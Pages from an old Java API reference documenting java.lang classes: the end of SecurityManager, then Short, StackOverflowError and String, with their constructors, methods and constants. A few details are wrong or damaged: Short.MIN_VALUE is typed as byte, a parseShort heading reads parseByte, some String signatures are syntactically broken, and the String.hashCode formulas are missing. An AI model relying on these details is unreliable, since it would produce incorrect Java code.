This method finds the most recent pending invocation of a method associated with a class that was loaded by a ClassLoader object. The method then returns the Class object for that class.

getClassContext

protected native Class[] getClassContext()

Returns

An array of Class objects that represents the current execution stack.

Description

This method returns an array of Class objects that represents the current execution stack. The length of the array is the number of pending method calls on the current thread's stack, not including the call to getClassContext(). Each element of the array references a Class object that describes the class associated with the corresponding method call. The first element of the array corresponds to the most recently called method, the second element is that method's caller, and so on.

inClass

protected boolean inClass(String name)

Parameters

name

The fully qualified name of a class.

Returns

true if there is a pending method invocation on the stack for a method of the given class; otherwise false.

Description

This method determines whether or not there is a pending method invocation that is associated with the named class.

inClassLoader

protected boolean inClassLoader()

Returns

true if there is a pending method invocation on the stack for a method of a class that was loaded by a ClassLoader object; otherwise false.

Description

This method determines whether or not there is a pending method invocation that is associated with a class that was loaded by a ClassLoader object. The method returns true only if the currentClassLoader() method does not return null.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Class, ClassLoader, DatagramSocket, File, FileDescriptor, FileInputStream, FileOutputStream, InetAddress, MulticastSocket, Object, RandomAccessFile, Runtime, SecurityException, ServerSocket, Socket, System, Thread, ThreadGroup, Toolkit, URL, URLConnection

Previous | Home | Next
SecurityException | Book Index | Short
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Short

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Short

Name

Short

Synopsis

Class Name:

java.lang.Short

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The Short class provides an object wrapper for a short value. This is useful when you need to treat a short value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a short value for one of these arguments, but you can provide a reference to a Short object that encapsulates the byte value. Furthermore, the Short class is necessary as of JDK 1.1 to support the Reflection API and class literals.

The Short class also provides a number of utility methods for converting short values to other primitive types and for converting short values to strings and vice-versa.

Class Summary

public final class java.lang.Short extends java.lang.Number {
  // Constants
  public static final short MAX_VALUE;
  public static final short MIN_VALUE;
  public static final Class TYPE;
  // Constructors
  public Short(short value);
  public Short(String s);
  // Class Methods
  public static Short decode(String nm);
  public static short parseShort(String s);
  public static short parseShort(String s, int radix);
  public static String toString(short s);
  public static Short valueOf(String s, int radix);
  public static Short valueOf(String s);
  // Instance Methods
  public byte byteValue();
  public double doubleValue();
  public boolean equals(Object obj);
  public float floatValue();
  public int hashCode();
  public int intValue();
  public long longValue();
  public short shortValue();
  public String toString();
}

Constants

MAX_VALUE

public static final short MAX_VALUE= 32767

The largest value that can be represented by a short.

MIN_VALUE

public static final byte MIN_VALUE= -32768

The smallest value that can be represented by a short.

TYPE

public static final Class TYPE

The Class object that represents the primitive type short. It is always true that Short.TYPE == short.class.

Constructors

Short

public Short(short value)

Parameters

value

The short value to be encapsulated by this object.

Description

Creates a Short object with the specified short value.

public Short(String s) throws NumberFormatException

Parameters

s

The string to be made into a Short object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid short literal.

Description

Constructs a Short object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the constructor throws a NumberFormatException.

Class Methods

decode

public static Short decode(String nm) throws NumberFormatException

Parameters

nm

A String representation of the value to be encapsulated by a Short object. If the string begins with # or 0x, it is a radix 16 representation of the value. If the string begins with 0, it is a radix 8 representation of the value. Otherwise, it is assumed to be a radix 10 representation of the value.

Returns

A Short object that encapsulates the given value.

Throws

NumberFormatException

If the String contains any non-digit characters other than a leading minus sign or the value represented by the String is less than Short.MIN_VALUE or greater than Short.MAX_VALUE.

Description

This method returns a Short object that encapsulates the given value.

parseByte

 public static short parseShort(String s) throws NumberFormatException

Parameters

s

The String to be converted to a short value.

Returns

The numeric value of the short represented by the String object.

Throws

NumberFormatException

If the String does not contain a valid representation of a short or the value represented by the String is less than Short.MIN_VALUE or greater than Short.MAX_VALUE.

Description

This method returns the numeric value of the short represented by the contents of the given String object. The String must contain only decimal digits, except that the first character may be a minus sign.

 public static short parseShort(String s, int radix) throws NumberFormatException

Parameters

s

The String to be converted to a short value.

radix

The radix used in interpreting the characters in the String as digits. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX. If radix is in the range 2 through 10, only characters for which the Character.isDigit() method returns true are considered to be valid digits. If radix is in the range 11 through 36, characters in the ranges `A' through `Z' and `a' through `z' are considered valid digits.

Returns

The numeric value of the short represented by the String object in the specified radix.

Throws

NumberFormatException

If the String does not contain a valid representation of a short, radix is not in the appropriate range, or the value represented by the String is less than Short.MIN_VALUE or greater than Short.MAX_VALUE.

Description

This method returns the numeric value of the short represented by the contents of the given String object in the specified radix. The String must contain only valid digits of the specified radix, except that the first character may be a minus sign. The digits are parsed in the specified radix to produce the numeric value.

toString

public String toString(short s)

Parameters

s

The short value to be converted to a string.

Returns

The string representation of the given value.

Description

This method returns a String object that contains the decimal representation of the given value.

This method returns a string that begins with `-' if the given value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

valueOf

public static Short valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into a Short object.

Returns

The Short object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a short or the value represented by the String is less than Short.MIN_VALUE or greater than Short.MAX_VALUE.

Description

Constructs a Short object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-'. If the string contains any other characters, the method throws a NumberFormatException.

 public static Short valueOf(String s, int radix) throws NumberFormatException

Parameters

s

The string to be made into a Short object.

radix

The radix used in converting the string to a value. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The Short object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a short, radix is not in the appropriate range, or the value represented by the String is less than Short.MIN_VALUE or greater than Short.MAX_VALUE.

Description

Constructs a Short object with the value specified by the given string in the specified radix. The string should consist of one or more digit characters or characters in the range `A' to `Z' or `a' to `z' that are considered digits in the given radix. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

Instance Methods

byteValue

public byte byteValue()

Returns

The value of this object as a byte. The high order bits of the value are discarded.

Overrides

Number.byteValue()

Description

This method returns the value of this object as a byte.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Short and it contains the same value as the object this method is associated with.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this object as a float.

hashCode

public int hashCode()

Returns

A hashcode based on the short value of the object.

Overrides

Object.hashCode()

Description

This method returns a hash code computed from the value of this object.

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the value of this object as an int.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the value of this object as a long.

shortValue

public short shortValue()

Returns

The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the value of this object as a short.

toString

public String toString()

Returns

The string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains the decimal representation of the value of this object.

This method returns a string that begins with `-' if the value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if the value of the object is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Byte, Character, Class, Double, Float, Integer, Long, Number, String

Previous | Home | Next
SecurityManager | Book Index | StackOverflowError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] StackOverflowError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

StackOverflowError

Name

StackOverflowError

Synopsis

Class Name:

java.lang.StackOverflowError

Superclass:

java.lang.VirtualMachineError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A StackOverflowError is thrown when a stack overflow error occurs within the virtual machine.

Class Summary

public class java.lang.StackOverflowError
             extends java.lang.VirtualMachineError {
  // Constructors
  public StackOverflowError();
  public StackOverflowError(String s);
}

Constructors

StackOverflowError

public StackOverflowError()

Description

This constructor creates a StackOverflowError with no associated detail message.

public StackOverflowError(String s)<

Parameters

s

The detail message.

Description

This constructor creates a StackOverflowError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, Throwable, VirtualMachineError

Previous | Home | Next
Short | Book Index | String
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] String

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

String

Name

String

Synopsis

Class Name:

java.lang.String

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The String class represents sequences of characters. Once a String object is created, it is immutable. In other words, the sequence of characters that a String represents cannot be changed after it is created. The StringBuffer class, on the other hand, represents a sequence of characters that can be changed. StringBuffer objects are used to perform computations on String objects.

The String class includes a number of utility methods, such as methods for fetching individual characters or ranges of contiguous characters, for translating characters to upper- or lowercase, for searching strings, and for parsing numeric values in strings.

String literals are compiled into String objects. Where a String literal appears in an expression, the compiled code contains a String object. If s is declared as String, the following two expressions are identical:

s.equals("ABC")
"ABC".equals(s)

The string concatenation operator implicitly creates String objects.

Class Summary

public final class java.lang.String extends java.lang.Object {
    // Constructors
    public String();
    public String(byte[] bytes);                          // New in 1.1
    public String(byte[] bytes, String enc);              // New in 1.1
    public String(byte[] bytes, int offset, int length);  // New in 1.1
    public String(byte[] bytes, int offset,
                  int length, String enc);                // New in 1.1
    public String(byte[] lowbytes, int hibyte);        // Deprecated in 1.1
    public String(byte[] lowbytes, int hibyte,
                  int offset, int count);              // Deprecated in 1.1
    public String(char[] value);
    public String(char[] value, int offset, int;
    public String(String value);
    public String(StringBuffer buffer);
    // Class Methods
    public static String copyValueOf(char data[]);
    public static String copyValueOf(char data[], int offset, int count);
    public static String valueOf(boolean b);
    public static String valueOf(char c);
    public static String valueOf(char[] data);
    public static String valueOf(char[] data, int offset, int count);
    public static String valueOf(double d);
    public static String valueOf(float f);
    public static String valueOf(int i);
    public static String valueOf(long l);
    public static String valueOf(Object obj);
    // Instance Methods
    public char charAt(int index);
    public int compareTo(String anotherString);
    public String concat(String str);
    public boolean endsWith(String suffix);
    public boolean equals(Object anObject);
    public boolean equalsIgnoreCase(String anotherString);
    public byte[] getBytes();                             // New in 1.1
    public byte[] getBytes(String enc);                   // New in 1.1
    public void getBytes(int srcBegin, int srcEnd,
                         byte[] dst, int dstBegin);     // Deprecated in 1.1
    public void getChars(int srcBegin, int srcEnd, char[] dst, int dstBegin);
    public int hashCode();
    public int indexOf(int ch);
    public int indexOf(int ch, int fromIndex);
    public int indexOf(String str);
    public int indexOf(String str, int fromIndex);
    public native String intern();
    public int lastIndexOf(int ch);
    public int lastIndexOf(int ch, int fromIndex);
    public int lastIndexOf(String str);
    public int lastIndexOf(String str, int fromIndex;
    public int length();
    public boolean regionMatches(boolean ignoreCase, int toffset,
                                 String other, int ooffset, int len);
    public boolean regionMatches(int toffset, String other,
                                 int ooffset, int len);
    public String replace(char oldChar, char newChar);
    public boolean startsWith(String prefix);
    public boolean startsWith(String prefix, int toffset);
    public String substring(int beginIndex);
    public String substring(int beginIndex, int endIndex);
    public char[] toCharArray();
    public String toLowerCase();
    public String toLowerCase(Locale locale);             // New in 1.1
    public String toString();
    public String toUpperCase();
    public String toUpperCase(Locale locale);             // New in 1.1
    public String trim();
}

Constructors

String

public String()

Description

Creates a new String object that represents the empty string (i.e., a string with zero characters).

public String(byte[] bytes)

Availability

New as of JDK 1.1

Parameters

bytes

An array of byte values.

Description

Creates a new String object that represents the sequence of characters stored in the given bytes array. The bytes in the array are converted to characters using the system's default character encoding scheme.

public String(byte[] bytes, String enc)

Availability

New as of JDK 1.1

Parameters

bytes

An array of byte values.

enc

The name of an encoding scheme.

Throws

UnsupportedEncodingException

If enc is not a supported encoding scheme.

Description

Creates a new String object that represents the sequence of characters stored in the given bytes array. The bytes in the array are converted to characters using the specified character encoding scheme.

public String(byte[] bytes, int offset, int length)

Availability

New as of JDK 1.1

Parameters

bytes

An array of byte values.

offset

An offset into the array.

length

The number of bytes to be included.

Throws

StringIndexOutOfBoundsException

If offset or length indexes an element that is outside the bounds of the bytes array.

Description

Creates a new String object that represents the sequence of characters stored in the specified portion of the given bytes array. The bytes in the array are converted to characters using the system's default character encoding scheme.

 public String(byte[] bytes, int offset, int length, String enc)

Availability

New as of JDK 1.1

Parameters

bytes

An array of byte values.

offset

An offset into the array.

length

The number of bytes to be included.

enc

The name of an encoding scheme.

Throws

StringIndexOutOfBoundsException

If offset or length indexes an element that is outside the bounds of the bytes array.

UnsupportedEncodingException

If enc is not a supported encoding scheme.

Description

Creates a new String object that represents the sequence of characters stored in the specified portion of the given bytes array. The bytes in the array are converted to characters using the specified character encoding scheme.

public String(byte[] lowbytes, int hibyte)

Availability

Deprecated as of JDK 1.1

Parameters

lowbytes

An array of byte values.

hibyte

The value to be put in the high-order byte of each 16-bit character.

Description

Creates a new String object that represents the sequence of characters stored in the given lowbytes array. The type of the array elements is byte, which is an 8-bit data type, so each element must be converted to a char, which is a 16-bit data type. The value of the hibyte argument is used to provide the value of the high-order byte when the byte values in the array are converted to char values.

More specifically, for each element i in the array lowbytes, the character at position i in the created String object is:

((hibyte & 0xff)<<8) | lowbytes[i]

This method is deprecated as of JDK 1.1 because it does not convert bytes into characters properly. You should instead use one of the constructors that takes a specific character encoding argument or that uses the default encoding.

 public String(byte[] lowbytes, int hibyte, int offset, int count)

Availability

Deprecated as of JDK 1.1

Parameters

lowbytes

An array of byte values.

hibyte

The value to be put in the high-order byte of each 16-bit character.

offset

An offset into the array.

count

The number of bytes from the array to be included in the string.

Throws

StringIndexOutOfBoundsException

If offset or count indexes an element that is outside the bounds of the lowbytes array.

Description

Creates a new String object that represents the sequence of characters stored in the specified portion of the lowbytes array. That is, the portion of the array that starts at offset elements from the beginning of the array and is count elements long.

The type of the array elements is byte, which is an 8-bit data type, so each element must be converted to a char, which is a 16-bit data type. The value of the hibyte argument is used to provide the value of the high-order byte when the byte values in the array are converted to char values.

More specifically, for each element i in the array lowbytes that is included in the String object, the character at position i in the created String is:

 ((hibyte & 0xff)<<8) | lowbytes[I]

This method is deprecated as of JDK 1.1 because it does not convert bytes into characters properly. You should instead use one of the constructors that takes a specific character encoding argument or that uses the default encoding.

public String(char[] value)

Parameters

value

An array of char values.

Description

Creates a new String object that represents the sequence of characters stored in the given array.

public String(char[] value, int offset, int count)

Parameters

value

An array of char values.

offset

An offset into the array.

count

The number of characters from the array to be included in the string.

Throws

StringIndexOutOfBoundsException

If offset or count indexes an element that is outside the bounds of the value array.

Description

Creates a new String object that represents the sequence of characters stored in the specified portion of the given array. That is, the portion of the given array that starts at offset elements from the beginning of the array and is count elements long.

public String(String value)

Parameters

value

A String object.

Description

Creates a new String object that represents the same sequence of characters as the given String object.

public String(StringBuffer value)

Parameters

value

A StringBuffer object.

Description

Creates a new String object that represents the same sequence of characters as the given object.

Class Methods

copyValueOf

public static String copyValueOf(char data[])

Parameters

data

An array of char values.

Returns

A new String object that represents the sequence of characters stored in the given array.

Description

This method returns a new String object that represents the character sequence contained in the given array. The String object produced by this method is guaranteed not to refer to the given array, but instead to use a copy. Because the String object uses a copy of the array, subsequent changes to the array do not change the contents of this String object.

This method is now obsolete. The same result can be obtained using the valueOf() method that takes an array of char values.

 public static String copyValueOf(char data[], int offset, int count)

Parameters

data

An array of char values.

offset

An offset into the array.

count

The number of characters from the array to be included in the string.

Returns

A new String object that represents the sequence of characters stored in the specified portion of the given array.

Throws

StringIndexOutOfBoundsException

If offset or count indexes an element that is outside the bounds of the data array.

Description

This method returns a new String object that represents the character sequence contained in the specified portion of the given array. That is, the portion of the given array that starts at offset elements from the beginning of the array and is count elements long. The String object produced by this method is guaranteed not to refer to the given array, but instead to use a copy. Because the String object uses a copy of the array, subsequent changes to the array do not change the contents of this String object.

This method is obsolete. The same result can be obtained by using the valueOf() method that takes an array of char values, an offset, and a count.

valueOf

public static String valueOf(boolean b)

Parameters

b

A boolean value.

Returns

A new String object that contains 'true' if b is true or 'false' if b is false.

Description

This method returns a string representation of a boolean value. In other words, it returns 'true' if b is true or 'false' if b is false.

public static String valueOf(char c)

Parameters

c

A char value.

Returns

A new String object that contains just the given character.

Description

This method returns a string representation of a char value. In other words, it returns a String object that contains just the given character.

public static String valueOf(char[] data)

Parameters

data

An array of char values.

Returns

A new String object that contains the sequence of characters stored in the given array.

Description

This method returns a string representation of an array of char values. In other words, it returns a String object that contains the sequence of characters stored in the given array.

 public static String valueOf(char[] data, int offset, int count)

Parameters

data

An array of char values.

offset

An offset into the array.

count

The number of characters from the array to be included in the string.

Returns

A new String object that contains the sequence of characters stored in the specified portion of the given array.

Throws

StringIndexOutOfBoundsException

If offset or count indexes an element that is outside the bounds of the data array.

Description

This method returns a string representation of the specified portion of an array of char values. In other words, it returns a String object that contains the sequence of characters in the given array that starts offset elements from the beginning of the array and is count elements long.

public static String valueOf(double d)

Parameters

d

A double value.

Returns

A new String object that contains a string representation of the given double value.

Description

This method returns a string representation of a double value. In other words, it returns the String object returned by Double.toString(d).

public static String valueOf(float f)

Parameters

f

A float value.

Returns

A new String object that contains a string representation of the given float value.

Description

This method returns a string representation of a float value. In other words, it returns the String object returned by Float.toString(f).

public static String valueOf(int i)

Parameters

i

An int value.

Returns

A new String object that contains a string representation of the given int value.

Description

This method returns a string representation of an int value. In other words, it returns the String object returned by Integer.toString(i).

public static String valueOf(long l)

Parameters

l

A long value.

Returns

A new String object that contains a string representation of the given long value.

Description

This method returns a string representation of a long value. In other words, it returns the String object returned by Long.toString(l).

public static String valueOf (Object obj)

Parameters

obj

A reference to an object.

Returns

A new String that contains a string representation of the given object.

Description

This method returns a string representation of the given object. If obj is null, the method returns'null'. Otherwise, the method returns the String object returned by the toString() method of the object.

Instance Methods

charAt

public char charAt(int index)

Parameters

index

An index into the string.

Returns

The character at the specified position in this string.

Throws

StringIndexOutOfBoundsException

If index is less than zero or greater than or equal to the length of the string.

Description

This method returns the character at the specified position in the String object; the first character in the string is at position 0.

compareTo

public int compareTo(String anotherString)

Parameters

anotherString

The String object to be compared.

Returns

A positive value if this string is greater than anotherString, 0 if the two strings are the same, or a negative value if this string is less than anotherString.

Description

This method lexicographically compares this String object to anotherString.

Here is how the comparison works: the two String objects are compared character-by-character, starting at index 0 and continuing until a position is found in which the two strings contain different characters or until all of the characters in the shorter string have been compared. If the characters at k are different, the method returns:

this.charAt(k)-anotherString.charAt(k)

Otherwise, the comparison is based on the lengths of the strings and the method returns:

this.length()-anotherString.length()

concat

public String concat(String str)

Parameters

str

The String object to be concatenated.

Returns

A new String object that contains the character sequences of this string and str concatenated together.

Description

This method returns a new String object that concatenates the characters from the argument string str onto the characters from this String object. Although this is a good way to concatenate two strings, concatenating more than two strings can be done more efficiently using a StringBuffer object.

endsWith

public boolean endsWith(String suffix)

Parameters

suffix

The String object suffix to be tested.

Returns

true if this string ends with the sequence of characters specified by suffix; otherwise false.

Description

This method determines whether or not this String object ends with the specified suffix.

equals

public boolean equals(Object anObject)

Parameters

anObject

The Object to be compared.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if anObject is an instance of String and it contains the same sequence of characters as this String object.

Note the difference between this method and the == operator, which only returns true if both of its arguments are references to the same object.

equalsIgnoreCase

public boolean equalsIgnoreCase(String anotherString)

Parameters

anotherString

The String object to be compared.

Returns

true if the strings are equal, ignoring case; otherwise false.

Description

This method determines whether or not this String object contains the same sequence of characters, ignoring case, as anotherString. More specifically, corresponding characters in the two strings are considered equal if any of the following conditions are true:

  • The two characters compare as equal using the == operator.

  • The Character.toUppercase() method returns the same result for both characters.

  • The Character.toLowercase() method returns the same result for both characters.

getBytes

 public byte[] getBytes()

Availability

New as of JDK 1.1

Returns

A byte array that contains the characters of this String.

Description

This method converts the characters in this String object to an array of byte values. The characters in the string are converted to bytes using the system's default character encoding scheme.

 public byte[] getBytes(String enc)

Availability

New as of JDK 1.1

Parameters

enc

The name of an encoding scheme.

Returns

A byte array that contains the characters of this String.

Throws

UnsupportedEncodingException

If enc is not a supported encoding scheme.

Description

This method converts the characters in this String object to an array of byte values. The characters in the string are converted to bytes using the specified character encoding scheme.

 public void getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin)

Availability

Deprecated as of JDK 1.1

Parameters

srcBegin

The index of the first character to be copied.

srcEnd

The index after the last character to be copied.

dst

The destination byte array.

dstBegin

An offset into the destination array.

Throws

StringIndexOutOfBoundsException

If srcBegin, srcEnd, or dstBegin is out of range.

Description

This method copies the low-order byte of each character in the specified range of this String object to the given array of byte values. More specifically, the first character to be copied is at index srcBegin; the last character to be copied is at index srcEnd-1. The low-order bytes of these characters are copied into dst, starting at index dstBegin and ending at index:

dstBegin + (srcEnd-srcBegin) - 1

This method is deprecated as of JDK 1.1 because it does not convert characters into bytes properly. You should instead use the getBytes() method that takes a specific character encoding argument or the one that uses the default encoding.

getChars

 public void getChars(int srcBegin, int srcEnd, char[] dst, int dstBegin)

Parameters

srcBegin

The index of the first character to be copied.

srcEnd

The index after the last character to be copied.

dst

The destination char array.

dstBegin

An offset into the destination array.

Throws

StringIndexOutOfBoundsException

If srcBegin, srcEnd, or dstBegin is out of range.

Description

This method copies each character in the specified range of this String object to the given array of char values. More specifically, the first character to be copied is at index srcBegin; the last character to be copied is at index srcEnd-1. These characters are copied into dst, starting at index dstBegin and ending at index:

dstBegin + (srcEnd-srcBegin) - 1

hashCode

public int hashCode()

Returns

A hashcode based on the sequence of characters in this string.

Overrides

Object.hashCode()

Description

This method returns a hashcode based on the sequence of characters this String object represents.

More specifically, one of two algorithms is used to compute a hash code for the string, depending on its length. If n is the length of the string and S_i is the character at position i in the string, then if n = 15 the method returns:

If n > 15, the method returns:

indexOf

public int indexOf(int ch)

Parameters

ch

A char value.

Returns

The index of the first occurrence of the given character in this string or -1 if the character does not occur.

Description

This method returns the index of the first occurrence of the given character in this String object. If there is no such occurrence, the method returns the value -1.

public int indexOf(int ch, int fromIndex)

Parameters

ch

A char value.

fromIndex

The index where the search is to begin.

Returns

The index of the first occurrence of the given character in this string after fromIndex or -1 if the character does not occur.

Description

This method returns the index of the first occurrence of the given character in this String object after ignoring the first fromIndex characters. If there is no such occurrence, the method returns the value -1.

public int indexOf(String str)

Parameters

str

A String object.

Returns

The index of the first occurrence of str in this string or -1 if the substring does not occur.

Description

This method returns the index of the first character of the first occurrence of the substring str in this String object. If there is no such occurrence, the method returns the value -1.

public int indexOf(String str, int fromIndex)

Parameters

str

A String object.

fromIndex

The index where the search is to begin.

Returns

The index of the first occurrence of str in this string after fromIndex or -1 if the substring does not occur.

Description

This method returns the index of the first character of the first occurrence of the substring str in this String object after ignoring the first fromIndex characters. If there is no such occurrence, the method returns the value -1.

intern

public native String intern()

Returns

A String object that is guaranteed to be the same object for every String that contains the same character sequence.

Description

This method returns a canonical representation for this String object. The returned String object is guaranteed to be the same String object for every String object that contains the same character sequence. In other words, if:

s1.equals(s2)

then:

s1.intern() == s2.intern()

The intern() method is used by the Java environment to ensure that String literals and constant-value String expressions that contain the same sequence of characters are all represented by a single String object.

lastIndexOf

public int lastIndexOf(int ch)

Parameters

ch

A char value.

Returns

The index of the last occurrence of the given character in this string or -1 if the character does not occur.

Description

This method returns the index of the last occurrence of the given character in this String object. If there is no such occurrence, the method returns the value -1.

public int lastIndexOf(int ch, int fromIndex)

Parameters

ch

A char value.

fromIndex

The index where the search is to begin.

Returns

The index of the last occurrence of the given character in this string after fromIndex or -1 if the character does not occur.

Description

This method returns the index of the last occurrence of the given character in this String object after ignoring the first fromIndex characters. If there is no such occurrence, the method returns the value -1.

public int lastIndexOf(String str)

Parameters

str

A String object.

Returns

The index of the last occurrence of str in this string or -1 if the substring does not occur.

Description

This method returns the index of the first character of the last occurrence of the substring str in this String object. If there is no such occurrence, the method returns the value -1.

public int lastIndexOf(String str, int fromIndex)

Parameters

str

A String object.

fromIndex

The index where the search is to begin.

Returns

The index of the last occurrence of str in this string after fromIndex or -1 if the substring does not occur.

Description

This method returns the index of the first character of the last occurrence of the substring str in this String object after ignoring the first fromIndex characters. If there is no such occurrence, the method returns the value -1.

length

public int length()

Returns

The length of the character sequence represented by this string.

Description

This method returns the number of characters in the character sequence represented by this String object.

regionMatches

 public boolean regionMatches(int toffset, String other, int ooffset, int len)

Parameters

toffset

The index of the first character in this string.

other

The String object to be used in the comparison.

ooffset

The index of the first character in other.

len

The length of the sub-sequences to be compared.

Returns

true if the sub-sequences are identical; otherwise false.

Description

This method determines whether or not the specified sub-sequences in this String object and other are identical. The method returns false if toffset is negative, if ooffset is negative, if toffset+len is greater than the length of this string, or if ooffset+len is greater than the length of other. Otherwise, the method returns true if for all nonnegative integers k less than len it is true that:

this.charAt(toffset+k) == other.charAt(ooffset+k)

 public boolean regionMatches(boolean ignoreCase, int toffset, String other, int ooffset, int len)

Parameters

ignoreCase

A boolean value that indicates whether case should be ignored.

toffset

The index of the first character in this string.

other

The String object to be used in the comparison.

ooffset

The index of the first character in other.

len

The length of the sub-sequences to be compared.

Returns

true if the sub-sequences are identical; otherwise false. The ignoreCase argument controls whether or not case is ignored in the comparison.

Description

This method determines whether or not the specified sub-sequences in this String object and other are identical. The method returns false if toffset is negative, if ooffset is negative, if toffset+len is greater than the length of this string, or if ooffset+len is greater than the length of other. Otherwise, if ignoreCase is false, the method returns true if for all nonnegative integers k less than len it is true that:

this.charAt(toffset+k) == other.charAt(ooffset+k)

If ignoreCase is true, the method returns true if for all nonnegative integers k less than len it is true that:

Character.toLowerCase(this.charAt(toffset+k))
== Character.toLowerCase(other.charAt(ooffset+k))

or:

Character.toUpperCase(this.charAt(toffset+k))
== Character.toUpperCase(other.charAt(ooffset+k))

replace

public String replace(char oldChar, char newChar)

Parameters

oldChar

The character to be replaced.

newChar

The replacement character.

Returns

A new String object that results from replacing every occurrence of oldChar in the string with newChar.

Description

This method returns a new String object that results from replacing every occurrence of oldChar in this String object with newChar. If there are no occurrences of oldChar, the method simply returns this String object.

startsWith

public boolean startsWith(String prefix)

Parameters

prefix

The String object prefix to be tested.

Returns

true if this string begins with the sequence of characters specified by prefix; otherwise false.

Description

This method determines whether or not this String object begins with the specified prefix.

public boolean startsWith(String prefix, int toffset)

Parameters

prefix

The String object prefix to be tested.

toffset

The index where the search is to begin.

Returns

true if this string contains the sequence of characters specified by prefix starting at the index toffset; otherwise false.

Description

This method determines whether or not this String object contains the specified prefix at the index specified by toffset.

substring

public String substring(int beginIndex)

Parameters

beginIndex

The index of the first character in the substring.

Returns

A new String object that contains the sub-sequence of this string that starts at beginIndex and extends to the end of the string.

Throws

StringIndexOutOfBoundsException

If beginIndex is less than zero or greater than or equal to the length of the string.

Description

This method returns a new String object that represents a sub-sequence of this String object. The sub-sequence consists of the characters starting at beginIndex and extending through the end of this String object.

public String substring(int beginIndex, int endIndex)

Parameters

beginIndex

The index of the first character in the substring.

endIndex

The index after the last character in the substring.

Returns

A new String object that contains the sub-sequence of this string that starts at beginIndex and extends to the character at endindex-1.

Throws

StringIndexOutOfBoundsException

If beginIndex or endIndex is less than zero or greater than or equal to the length of the string.

Description

This method returns a new String object that represents a sub-sequence of this String object. The sub-sequence consists of the characters starting at beginIndex and extending through endIndex-1 of this String object.

toCharArray

public char[] toCharArray()

Returns

A new char array that contains the same sequence of characters as this string.

Description

This method returns a new char array that contains the same sequence of characters as this Stringobject. The length of the array is the same as the length of this String object.

toLowerCase

public String toLowerCase()

Returns

A new String object that contains the characters of this string converted to lowercase.

Description

This method returns a new String that represents a character sequence of the same length as this String object, but with each character replaced by its lowercase equivalent if it has one. If no character in the string has a lowercase equivalent, the method returns this String object.

public String toLowerCase(Locale locale)

Availability

New as of JDK 1.1

Parameters

locale

The Locale to use.

Returns

A new String object that contains the characters of this string converted to lowercase using the rules of the specified locale.

Description

This method returns a new String that represents a character sequence of the same length as this String object, but with each character replaced by its lowercase equivalent if it has one according to the rules of the specified locale. If no character in the string has a lowercase equivalent, the method returns this String object.

toString

public String toString()

Returns

This String object.

Overrides

Object.toString()

Description

This method returns this String object.

toUpperCase

public String toUpperCase()

Returns

A new String object that contains the characters of this string converted to uppercase.

Description

This method returns a new String that represents a character sequence of the same length as this String object, but with each character replaced by its uppercase equivalent if it has one. If no character in the string has an uppercase equivalent, the method returns this String object.

public String toUpperCase(Locale locale)

Availability

New as of JDK 1.1

Parameters

locale

The Locale to use.

Returns

A new String object that contains the characters of this string converted to uppercase using the rules of the specified locale.

Description

